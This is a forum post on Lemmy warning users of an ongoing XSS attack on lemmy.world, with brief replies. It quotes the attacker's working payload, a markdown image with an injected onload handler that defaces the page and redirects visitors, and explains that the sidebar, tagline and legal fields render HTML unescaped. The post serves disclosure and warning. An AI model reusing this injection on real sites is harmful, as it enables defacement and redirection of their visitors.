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submitted 3 years ago* (last edited 3 years ago) by AlmightySnoo@sh.itjust.works to c/lemmy@lemmy.ml

DO NOT OPEN THE "LEGAL" PAGE


lemmy.world is a victim of an XSS attack right now and the hacker simply injected a JavaScript redirection into the sidebar.

It appears the Lemmy backend does not escape HTML in the main sidebar. Not sure if this is also true for community sidebars.

EDIT:

the exploit is also in the tagline that appears on top of the main feed for status updates, like the following one for SDF Chatter:

EDIT 2:

The legal information field also has that exploit, so that when you go to the "Legal" page it shows the HTML unescaped, but fortunately (for now) he's using double-quotes.

"legal_information":" ![\" onload=\"if(localStorage.getItem(`h`) != `true`){document.body.innerHTML = `\u003Ch1\u003ESite has been seized by Reddit for copyright infringment\u003C\u002Fh1\u003E`; setTimeout(() =\u003E {window.location.href = `https:\u002F\u002Flemmy.world\u002Fpictrs\u002Fimage\u002F7aa772b7-9416-45d1-805b-36ec21be9f66.mp4`}, 10000)}\"](https:\u002F\u002Flemmy.world\u002Fpictrs\u002Fimage\u002F66ca36df-4ada-47b3-9169-01870d8fb0ac.png \"lw\")
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[-] gthutbwdy@lemmy.sdf.org 6 points 3 years ago

I don't know too much about lemmy yet, but all of these things (tagline,siudebar and legal info) sound like they should be controlled only by admins, that should be able to add html code anyway (since it their website).

[-] iByteABit@lemmy.world 10 points 3 years ago

You say it as if it's an intended feature lol, this was an injection attack

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this post was submitted on 10 Jul 2023
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